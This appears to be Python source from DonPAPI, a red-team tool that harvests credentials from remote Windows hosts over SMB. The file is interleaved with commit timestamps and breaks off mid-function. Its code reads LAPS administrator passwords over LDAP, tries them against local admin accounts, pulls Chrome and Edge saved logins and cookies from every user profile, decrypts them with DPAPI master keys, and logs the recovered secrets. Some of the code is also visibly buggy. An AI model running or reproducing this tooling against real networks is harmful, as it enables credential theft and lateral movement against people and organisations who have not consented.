2023-10-03 05:27:06 +00:00
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
MySeatBelt module contain MySeatBelt class .
@Author : Pierre - Alexandre Vandewoestyne ( @T00uF )
"""
2021-09-27 09:20:43 +00:00
import copy
2023-10-03 05:27:06 +00:00
import impacket
import socket
import sqlite3
2021-09-27 09:20:43 +00:00
from pathlib import Path
2023-10-03 05:27:06 +00:00
from ldap3 import ALL , Server , Connection , NTLM
2021-09-27 09:20:43 +00:00
from impacket . dcerpc . v5 import srvs
2023-10-03 05:27:06 +00:00
from impacket . dcerpc . v5 . dtypes import NULL , RPC_SID
2021-09-27 09:20:43 +00:00
from impacket . smb import SMB_DIALECT
2023-07-01 15:20:13 +00:00
# import impacket.dpapi
2023-10-03 05:27:06 +00:00
from donpapi . lib . adconnect import *
from donpapi . lib . certificates import CertificatesTriage
from donpapi . lib . dpapi import DPAPI
2023-07-01 15:20:13 +00:00
from donpapi . lib . fileops import MyRegOps
from donpapi . lib . new_module import *
from donpapi . lib . RecentFiles import *
2023-10-03 05:27:06 +00:00
from donpapi . lib . secretsdump import LSASecrets as MyLSASecrets
from donpapi . lib . secretsdump import SAMHashes as MySAMHashes
from donpapi . lib . secretsdump import RemoteOperations as MyRemoteOperations
from donpapi . lib . toolbox import is_guid
from donpapi . software . browser . chrome_decrypt import *
from donpapi . software . browser . firefox_decrypt import *
from donpapi . software . sysadmin . vnc import Vnc
2023-07-01 15:20:13 +00:00
2023-10-03 05:27:06 +00:00
from donpapi . myusers import MyUser
from donpapi . database import Database
2023-07-01 15:20:13 +00:00
# from DonPAPI.lib.lazagne_dpapi.credhist import CredHistFile
2021-09-27 09:20:43 +00:00
2023-10-03 05:27:06 +00:00
2021-09-27 09:20:43 +00:00
class MySeatBelt :
2023-10-03 05:27:06 +00:00
""" MySeatBelt class. """
def __init__ ( self , target , options , logger , verbose = 1 ) :
self . host = target
self . options = copy . deepcopy ( options )
self . options . target_ip = target
self . options . timeout = 5
# options.target_ip=target
self . logging = logger
self . smb = None
# self.username = options.username
# self.password = options.password
# self.domain = options.domain
"""
msg_debug = f " [ { target } ] [-] initialising smb connection to { options . domain } / " \
f " { options . username } : { options . password } , @ { options . dc_ip } , Hash : " \
f " { options . lmhash } : { options . nthash } , AESKey { options . aesKey } "
self . logging . info ( msg_debug )
smb_client = SMBConnection ( options . address , target , sess_port = int ( options . port ) )
if options . k is True :
smb_client . kerberosLogin ( options . username , options . password , options . domain ,
options . lmhash , options . nthash , options . aesKey , options . dc_ip )
else :
smb_client . login ( options . username , options . password , options . domain , options . lmhash ,
options . nthash )
self . smb = smb_client
"""
# Init all
self . smbv1 = False
self . admin_privs = False
# self.username, self.password, self.domain, self.lmhash, self.nthash, \
# self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
self . share = None
self . last_output = None
self . completion = [ ]
self . users = [ ]
self . user_path = ' '
self . machine_key = [ ]
self . user_key = [ ]
# self.options[logging] = logge
self . myfileops = None
self . myregops = None
# self.myfileops = MyFileOps(self.smb,self.logging,self.options)
self . credz = options . credz
self . __remoteOps = None
self . __bootKey = b ' '
self . __SAMHashes = None
self . __LSASecrets = None
self . global_logfile = b ' globallog.log '
self . init_connect ( )
def init_connect ( self ) :
""" Init SQLite connection. """
try :
sqlite_database = sqlite3 . connect ( self . options . db_path , check_same_thread = False )
self . db = Database ( sqlite_database , self . logging )
if self . create_conn_obj ( ) :
# self.do_info_rpc_unauth()
self . do_info_unauth ( )
self . create_conn_obj ( )
if self . login_conn ( ) :
self . is_admin ( )
if self . admin_privs :
self . myfileops = MyFileOps ( self . smb , self . logging , self . options )
self . myregops = MyRegOps ( self . logging , self . options )
return True
else :
return False
return False
except Exception :
self . logging . debug ( " Error init connect " )
return False
def create_smbv1_conn ( self ) :
""" Create SMBv1 connection. """
try :
self . smb = SMBConnection ( self . host , self . host , None , self . options . port ,
preferredDialect = SMB_DIALECT , timeout = self . options . timeout )
self . smbv1 = True
self . logging . debug ( f " SMBv1 OK on { self . host } - { self . options . target_ip } " )
except socket . error as exc :
if " Connection reset by peer " in str ( exc ) :
self . logging . debug ( f " SMBv1 might be disabled on { self . host } " )
return False
except Exception as exc :
self . logging . debug ( f " Error creating SMBv1 connection to { self . host } : { str ( exc ) } " )
return False
return True
def create_smbv3_conn ( self ) :
""" Create SMBv3 connection. """
try :
self . smb = SMBConnection ( self . host , self . host , None , self . options . port ,
timeout = self . options . timeout )
self . smbv1 = False
logging . debug ( f " SMBv3 OK on { self . host } - { self . options . target_ip } " )
except Exception as exc :
self . logging . debug ( f " Error creating SMBv3 connection to { self . host } : { exc } " )
self . db . add_computer ( ip = self . host , connectivity = f " { exc } " )
return False
return True
def create_conn_obj ( self ) :
""" Create connection object. """
# self.logging.info(f"[{self.options.target_ip}] [-] Initializing SMB connection " \
# f"to {self.options.domain} / {self.options.username} : " \
# f"{self.options.password}, @ {self.options.dc_ip} , Hash : " \
# f"{self.options.lmhash} : {self.options.nthash}, " \
# f"AESKey {self.options.aesKey}")
self . logging . debug ( f " [ { self . options . target_ip } ] [-] Initializing SMB connection ... " )
if self . create_smbv1_conn ( ) :
return True
if self . create_smbv3_conn ( ) :
return True
return False
def close_smb ( self ) :
""" Close SMB connection. """
try :
self . logging . debug ( f " [ { self . options . target_ip } ] [-] Closing SMB connection ... " )
# self.myfileops.close()
# self.myregops.close()
# self.smb.close()
self . logging . debug ( f " [ { self . options . target_ip } ] [-] SMB closed ... " )
except Exception :
self . logging . debug ( ' Error in closing SMB connection ' )
return False
def get_laps ( self ) :
""" Get LAPS. """
try :
self . logging . debug ( f " [ { self . options . target_ip } ] [-] Using LAPS to get Local " \
f " admin password on { self . options . hostname } - domain " \
f " { self . options . domain } : dcip { self . options . dc_ip } " )
ldap_domain = ' dc= '
ldap_domain + = " ,dc= " . join ( self . options . domain . split ( ' . ' ) . split ( ' . ' ) )
if self . options . dc_ip is not None :
srv = Server ( self . options . dc_ip , get_info = ALL )
else :
srv = Server ( self . options . domain , get_info = ALL )
conn = Connection ( srv , user = self . options . domain + " \\ " + self . options . username ,
password = self . options . password , authentication = NTLM ,
auto_bind = True )
conn . search ( search_base = f " { ldap_domain } " ,
search_filter = f ' (&(cn= { self . options . hostname } )(ms-MCS-AdmPwd=*)) ' ,
attributes = [ ' ms-MCS-AdmPwd ' , ' SAMAccountname ' ] )
self . logging . debug ( f " [ { self . options . target_ip } ] [-] Using LAPS to get Local " \
f " admin password on { self . options . hostname } - " \
f " { ldap_domain } - got { len ( conn . entries ) } match " )
if len ( conn . entries ) == 1 :
# for entry in c.entries[0]:
entry = conn . entries [ 0 ]
# self.options.username = str(entry['sAMAccountName'])
self . options . password = str ( entry [ ' ms-Mcs-AdmPwd ' ] )
# self.username = self.options.username
# self.password = self.options.password
self . options . local_auth = True
self . options . domain = self . options . hostname
return True
else :
return False
except Exception as ex :
self . logging . debug ( f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } " \
f " in get LAPS { bcolors . ENDC } " )
self . logging . debug ( ex )
return False
def login_conn ( self , username = None , password = None , domain = None ) :
try :
if username is None :
username = self . options . username
if password == None :
password = self . options . password
if domain == None :
domain = self . options . domain
# smbClient = SMBConnection(options.address, target, sess_port=int(options.port))
if self . options . k is True :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] initialising smb Kerberos Authentification to { self . options . domain } / { self . options . username } : { self . options . password } , @ { self . options . dc_ip } , Hash : { self . options . lmhash } : { self . options . nthash } , AESKey { self . options . aesKey } " )
self . smb . kerberosLogin ( username , password , domain , self . options . lmhash , self . options . nthash ,
self . options . aesKey , self . options . dc_ip )
return True
# elif self.options.hashes != None:
else :
if self . options . laps is True and username != ' ' and password != ' ' : # not doing LAPS for null session
if ( self . get_laps ( ) ) :
for username in [ ' administrator ' , ' administrateur ' , ' administrador ' ] :
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] initialising smb Local Authentification to { self . options . domain } / { username } : { self . options . password } , @ { self . host } , Hash : { self . options . lmhash } : { self . options . nthash } , AESKey { self . options . aesKey } " )
self . smb . login ( username , self . options . password , self . options . domain ,
self . options . lmhash , self . options . nthash , ntlmFallback = True )
self . options . username = username
if username not in self . options . credz :
self . options . credz [ username ] = [ self . options . password ]
else :
self . options . credz [ username ] . append ( self . options . password )
return True
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in LOGIN_Connection - LAPS with { bcolors . ENDC } " )
self . logging . debug ( ex )
continue
else :
if username == " " and password == " " :
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] initialising smb NullSession to { self . host } " )
self . smb . login ( username , password , domain , self . options . lmhash , self . options . nthash ,
ntlmFallback = True )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in NullSession { bcolors . ENDC } " )
self . logging . debug ( ex )
return False
else :
self . logging . debug (
f " [ { self . options . target_ip } ] [-] initialising smb Authentification to { domain } / { username } : { password } , @ { self . host } , Hash : { self . options . lmhash } : { self . options . nthash } , AESKey { self . options . aesKey } " )
self . smb . login ( username , password , domain , self . options . lmhash , self . options . nthash ,
ntlmFallback = True )
''' except : #self.smb.STATUS_LOGON_FAILURE :
try :
if domain != self . hostname :
#Trying localy
self . smb . login ( username , password , self . hostname , self . options . lmhash , self . options . nthash , ntlmFallback = True )
return True
else : #On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs
self . logging . error ( f " [ { self . options . target_ip } ] Error { bcolors . WARNING } Connexion refused with credentials { domain } / { username } : { password } @ { self . host } { bcolors . ENDC } " )
return False
except Exception as ex :
self . logging . error ( f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } Connexion Error in Local attempt { bcolors . ENDC } " )
self . logging . debug ( ex )
return False '''
# self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials()
return True
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in LOGIN_Connection { bcolors . ENDC } " )
self . logging . debug ( ex )
return False
def GetUserByName ( self , username ) :
for user in self . users :
if user . username == username :
return user
else :
self . logging . debug ( " User %s Not found in self.users " % username )
def is_admin ( self ) :
self . logging . debug ( f " [ { self . options . target_ip } ] Checking if is admin " )
self . admin_privs = False
try :
self . smb . connectTree ( " C$ " )
self . admin_privs = True
self . logging . debug ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } Is ADMIN { bcolors . ENDC } " )
self . db . update_computer ( ip = self . options . target_ip , is_admin = True )
except SessionError as e :
self . logging . debug ( f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in IS ADMIN { bcolors . ENDC } " )
self . logging . debug ( f " [ { self . options . target_ip } ] { e } " )
self . db . update_computer ( ip = self . options . target_ip , is_admin = False )
pass
return self . admin_privs
def do_info_unauth ( self ) :
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try :
# Null session to get basic infos
self . login_conn ( username = ' ' , password = ' ' )
# self.domain = self.smb.getServerDNSDomainName()
self . options . hostname = self . smb . getServerName ( )
# self.options.hostname=self.hostname
self . server_os = self . smb . getServerOS ( )
self . signing = self . smb . isSigningRequired ( ) if self . smbv1 else self . smb . _SMBConnection . _Connection [
' RequireSigning ' ]
# self.os_arch = self.get_os_arch()
if self . options . domain == ' ' : # no domain info == local auth
self . options . domain = self . options . hostname
# elif self.options.domain != '':
# self.domain = self.options.domain
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } { self . options . hostname } { bcolors . ENDC } (domain: { self . smb . getServerDNSDomainName ( ) } ) ( { self . server_os } ) [SMB Signing { ' Enabled ' if self . signing else ' Disabled ' } ] " )
self . db . add_computer ( ip = self . options . target_ip , hostname = self . options . hostname ,
domain = self . smb . getServerDNSDomainName ( ) , os = self . server_os ,
smb_signing_enabled = self . signing , smbv1_enabled = self . smbv1 )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in DO INFO UNAUTH { bcolors . ENDC } " )
self . logging . debug ( ex )
def do_info_rpc_unauth ( self ) :
try :
rpctransport = transport . SMBTransport ( self . smb . getRemoteHost ( ) , filename = r ' \ srvsvc ' ,
smb_connection = self . smb )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
dce . bind ( srvs . MSRPC_UUID_SRVS )
resp = srvs . hNetrServerGetInfo ( dce , 102 )
self . logging . debug ( " Server Name: %s " % resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_name ' ] )
self . hostname = resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_name ' ]
except Exception as ex :
self . logging . debug ( f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in DO INFO { bcolors . ENDC } " )
self . logging . debug ( ex )
def do_info_with_auth ( self ) :
# self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try :
# Null session to get basic infos
self . login_conn ( )
# self.domain = self.smb.getServerDNSDomainName()
self . options . hostname = self . smb . getServerName ( )
self . server_os = self . smb . getServerOS ( )
self . signing = self . smb . isSigningRequired ( ) if self . smbv1 else self . smb . _SMBConnection . _Connection [
' RequireSigning ' ]
# self.os_arch = self.get_os_arch()
if not self . domain and self . options . domain == ' ' :
self . domain = self . options . hostname
elif self . options . domain != ' ' :
self . domain = self . options . domain
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } { self . hostname } { bcolors . ENDC } (domain: { self . domain } ) { self . hostname } ( { self . server_os } ) [SMB Signing { ' Enabled ' if self . signing else ' Disabled ' } ] " )
# IP# print(self.smb.getRemoteHost())
# print(self.smb.getServerDNSDomainName())
rpctransport = transport . SMBTransport ( self . smb . getRemoteHost ( ) , filename = r ' \ srvsvc ' ,
smb_connection = self . smb )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
dce . bind ( srvs . MSRPC_UUID_SRVS )
resp = srvs . hNetrServerGetInfo ( dce , 102 )
# self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning']
# self.os_arch = self.get_os_arch()
# self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
# self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
# self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
# self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
# self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
# self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users'])
# USE user path
self . user_path = resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_userpath ' ]
self . db . add_computer ( ip = self . options . target_ip , hostname = self . hostname , domain = self . domain ,
os = self . server_os )
self . logging . info (
f " [ { self . options . target_ip } ] [+] { bcolors . OKBLUE } { self . hostname } { bcolors . ENDC } (domain: { self . domain } ) ( { self . server_os } - { resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_comment ' ] } - { resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_userpath ' ] } - { resp [ ' InfoStruct ' ] [ ' ServerInfo102 ' ] [ ' sv102_users ' ] } ) " )
except Exception as ex :
self . logging . debug ( f " [ { self . options . target_ip } ] Exception { bcolors . WARNING } in DO INFO AUTH { bcolors . ENDC } " )
self . logging . debug ( ex )
def logsecret ( self , data ) :
try :
fh = open ( self . global_logfile , ' ab ' )
fh . write ( data . encode ( ) )
fh . close ( )
self . logging . info ( f " [ { self . options . target_ip } ] [+] { bcolors . OKGREEN } { data } { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception logsecret for { data } { bcolors . ENDC } " )
self . logging . debug ( ex )
def GetEdgeSecrets ( self ) :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering MSEdge Secrets { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' ]
user_directories = [ ( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data " , ' Local State ' ,
' ChromeLocalState ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data \\ Default " , ' Cookies ' ,
' ChromeCookies ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data \\ Default " ,
' Extension Cookies ' , ' ChromeCookies ' , ' DOMAIN ' ) ,
(
" Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data \\ Default \\ Network " , ' Cookies ' ,
' ChromeCookies ' , ' DOMAIN ' ) ,
(
" Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data \\ Default \\ Safe Browsing Network " ,
' Safe Browsing Cookies ' , ' ChromeCookies ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data \\ Default " , ' Login Data ' ,
' ChromeLoginData ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Microsoft \\ Edge \\ User Data " , ' Last Version ' ,
' ChromeVersion ' , ' DOMAIN ' ) ,
]
for user in self . users :
if user . username == ' MACHINE$ ' :
continue
else :
directories_to_use = user_directories
myoptions = copy . deepcopy ( self . options )
myoptions . file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions . key = None
myoptions . masterkeys = None
myChromeSecrets = CHROME_LOGINS ( myoptions , self . logging , self . db , user . username , type = " MSEdge " )
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use :
my_dir , my_mask , my_blob_type , my_user_type = info
tmp_pwd = my_dir . format (
username = user . username ) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self . logging . debug (
f " [ { self . options . target_ip } ] Looking for { user . username } files in { tmp_pwd } with mask { my_mask } " )
my_directory = self . myfileops . do_ls ( tmp_pwd , my_mask , display = False )
for infos in my_directory :
longname , is_directory = infos
self . logging . debug ( " ls returned file %s " % longname )
if longname not in blacklist and not is_directory :
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [+] Found { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Chrome files : { longname } " )
# Downloading Blob file
localfile = self . myfileops . get_file ( ntpath . join ( tmp_pwd , longname ) , allow_access_error = True )
# myoptions = copy.deepcopy(self.options)
if my_blob_type == ' ChromeLocalState ' :
try :
myChromeSecrets . localstate_path = localfile
guid = myChromeSecrets . get_masterkey_guid_from_localstate ( )
if guid != None :
masterkey = self . get_masterkey ( user = user , guid = guid , type = my_user_type )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
myChromeSecrets . masterkey = masterkey [ ' key ' ]
aesKey = myChromeSecrets . get_AES_key_from_localstate (
masterkey = masterkey [ ' key ' ] )
if aesKey != None :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKGREEN } Decryption successfull of { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Chrome AES Key { aesKey } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State - Masterkey not decrypted { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey { guid } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in ChromeLocalState { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeLoginData ' :
try :
myChromeSecrets . logindata_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
logins = myChromeSecrets . decrypt_chrome_LoginData ( )
user . files [ longname ] [ ' secret ' ] = logins
if logins is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting logindata for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeCookies ' :
try :
myChromeSecrets . cookie_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
cookies = myChromeSecrets . decrypt_chrome_CookieData ( )
user . files [ longname ] [ ' secret ' ] = cookies
if cookies is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting CookieData for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeVersion ' :
try :
myChromeSecrets . version_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
cookies = myChromeSecrets . get_chrome_Version ( )
user . files [ longname ] [ ' secret ' ] = cookies
if cookies is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting CookieData for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting Blob for { localfile } with Masterkey { bcolors . ENDC } " )
self . logging . debug ( ex )
def GetMozillaSecrets_wrapper ( self ) :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering Mozilla Secrets { bcolors . ENDC } " )
for user in self . users :
if user . username == ' MACHINE$ ' :
continue
try :
myoptions = copy . deepcopy ( self . options )
myoptions . file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions . key = None
myoptions . masterkeys = None
myFirefoxSecrets = FIREFOX_LOGINS ( myoptions , self . logging , user , self . myfileops , self . db )
myFirefoxSecrets . run ( )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception GetMozillaSecrets_wrapper for { user . username } { bcolors . ENDC } " )
self . logging . debug ( ex )
def GetChromeSecrets ( self ) :
self . logging . info ( f " [ { self . options . target_ip } ] { bcolors . OKBLUE } [+] Gathering Chrome Secrets { bcolors . ENDC } " )
blacklist = [ ' . ' , ' .. ' ]
# Parse chrome
# autres navigateurs ?
user_directories = [ ( " Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data " , ' Local State ' ,
' ChromeLocalState ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data \\ Default " , ' Cookies ' ,
' ChromeCookies ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data \\ Default " ,
' Extension Cookies ' , ' ChromeCookies ' , ' DOMAIN ' ) ,
(
" Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data \\ Default \\ Network " , ' Cookies ' ,
' ChromeCookies ' , ' DOMAIN ' ) ,
(
" Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data \\ Default \\ Safe Browsing Network " ,
' Safe Browsing Cookies ' , ' ChromeCookies ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data \\ Default " , ' Login Data ' ,
' ChromeLoginData ' , ' DOMAIN ' ) ,
( " Users \\ {username} \\ AppData \\ Local \\ Google \\ Chrome \\ User Data " , ' Last Version ' ,
' ChromeVersion ' , ' DOMAIN ' ) ,
]
for user in self . users :
if user . username == ' MACHINE$ ' :
continue
else :
directories_to_use = user_directories
myoptions = copy . deepcopy ( self . options )
myoptions . file = None # "chrome_enc_blob.tmp" # BLOB to parse
myoptions . key = None
myoptions . masterkeys = None
myChromeSecrets = CHROME_LOGINS ( myoptions , self . logging , self . db , user . username )
# if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup
for info in directories_to_use :
my_dir , my_mask , my_blob_type , my_user_type = info
tmp_pwd = my_dir . format (
username = user . username ) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir)
self . logging . debug (
f " [ { self . options . target_ip } ] Looking for { user . username } files in { tmp_pwd } with mask { my_mask } " )
my_directory = self . myfileops . do_ls ( tmp_pwd , my_mask , display = False )
for infos in my_directory :
longname , is_directory = infos
self . logging . debug ( " ls returned file %s " % longname )
if longname not in blacklist and not is_directory :
try :
self . logging . debug (
f " [ { self . options . target_ip } ] [+] Found { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Chrome files : { longname } " )
# Downloading Blob file
localfile = self . myfileops . get_file ( ntpath . join ( tmp_pwd , longname ) , allow_access_error = True )
# myoptions = copy.deepcopy(self.options)
if my_blob_type == ' ChromeLocalState ' :
try :
myChromeSecrets . localstate_path = localfile
guid = myChromeSecrets . get_masterkey_guid_from_localstate ( )
if guid != None :
masterkey = self . get_masterkey ( user = user , guid = guid , type = my_user_type )
if masterkey != None :
if masterkey [ ' status ' ] == ' decrypted ' :
myChromeSecrets . masterkey = masterkey [ ' key ' ]
aesKey = myChromeSecrets . get_AES_key_from_localstate (
masterkey = masterkey [ ' key ' ] )
if aesKey != None :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . OKGREEN } Decryption successfull of { bcolors . OKBLUE } { user . username } { bcolors . ENDC } Chrome AES Key { aesKey } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State - Masterkey not decrypted { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey { guid } { bcolors . ENDC } " )
else :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file { bcolors . ENDC } " )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception in ChromeLocalState { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeLoginData ' :
try :
myChromeSecrets . logindata_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
logins = myChromeSecrets . decrypt_chrome_LoginData ( )
user . files [ longname ] [ ' secret ' ] = logins
if logins is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting logindata for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeCookies ' :
try :
myChromeSecrets . cookie_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
cookies = myChromeSecrets . decrypt_chrome_CookieData ( )
user . files [ longname ] [ ' secret ' ] = cookies
if cookies is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting CookieData for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
if my_blob_type == ' ChromeVersion ' :
try :
myChromeSecrets . version_path = localfile
user . files [ longname ] = { }
user . files [ longname ] [ ' type ' ] = my_blob_type
user . files [ longname ] [ ' status ' ] = ' encrypted '
user . files [ longname ] [ ' path ' ] = localfile
cookies = myChromeSecrets . get_chrome_Version ( )
user . files [ longname ] [ ' secret ' ] = cookies
if cookies is not None :
user . files [ longname ] [ ' status ' ] = ' decrypted '
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting CookieData for CHROME { user . username } { localfile } { bcolors . ENDC } " )
self . logging . debug ( ex )
except Exception as ex :
self . logging . debug (
f " [ { self . options . target_ip } ] { bcolors . WARNING } Exception decrypting Blob for { localfile } with Masterkey { bcolors . ENDC } " )
self . logging . debug ( ex )
def getMdbData ( self ) :
try :
return self . getMdbData2 ( )
except UnicodeDecodeError :
return self . getMdbData2 ( ' utf-16-le ' )
def getMdbData2 ( self , codec = ' utf-8 ' ) :
try :
out = {
' cryptedrecords ' : [ ] ,
' xmldata ' : [ ]
}
keydata = None
#
# self.options.from_file='adsync_export'
if self . options . from_file :
logging . info ( ' Loading configuration data from %s on filesystem ' , self . options . from_file )
infile = codecs . open ( self . options . from_file , ' r ' , codec )
enumtarget = infile
else :
logging . info ( ' Querying database for configuration data ' )
